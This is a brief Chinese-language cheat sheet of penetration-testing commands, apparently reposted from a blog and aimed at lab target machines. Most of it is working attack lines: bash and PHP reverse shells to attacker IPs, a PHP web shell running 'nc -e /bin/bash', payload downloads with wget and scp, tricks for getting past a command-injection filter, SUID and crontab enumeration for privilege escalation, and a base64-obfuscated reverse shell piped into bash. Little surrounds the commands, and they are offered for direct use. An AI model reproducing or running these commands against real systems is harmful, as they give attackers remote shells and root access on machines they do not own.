常用命令

查看suid文件

find / -type f -perm -u=s 2>dev/null

查找可写文件

find / -writable -type f 2>/dev/null

反弹shell

这里没有nc命令直接用bash命令。(也可以直接上传反弹shell的php脚本)

bash -i >& /dev/tcp/192.168.56.129/4444 0>&1

网页反弹shell

<p>1313</p>

<?php system("nc -e /bin/bash 192.168.174.128 4444"); echo "hello word"?>

搭建服务器上传

python -m SimpleHTTPServer

wget http://192.168.236.129:8000/shell.elf

ssh  上传

开启:/etc/init.d/ssh start

scp root@192.168.56.129:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/

apache上传

/etc/init.d/apache2 start

wget http://192.168.56.129:8080/2.sh

php反弹

sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.172",10086);exec("/bin/bash -i <&3 >&3 2>&3");'

命令注入

cmd=ls --> 可执行 cmd=ls -lah --> 可执行 => 说明空格没有被过滤

cmd=whoami --> 无法执行 cmd=whoami --> 可执行 => 说明过滤了某些关键字

cmd=uname -a --> 可执行 发现靶机是Ubuntu系统,所以后续reverse shell的时候不打算使用nc了

cmd=echo whoami --> 可执行  base64编码

提权操作:

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

cat /etc/crontab

ls -lh /etc/passwd

netstat -tunlp

base64绕过然后再解出来传给bash

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM0LjgwLzY2NjYgMD4mMQ== | base64 -d | bash

原文地址:https://www.cnblogs.com/bingtang123/p/13306917.html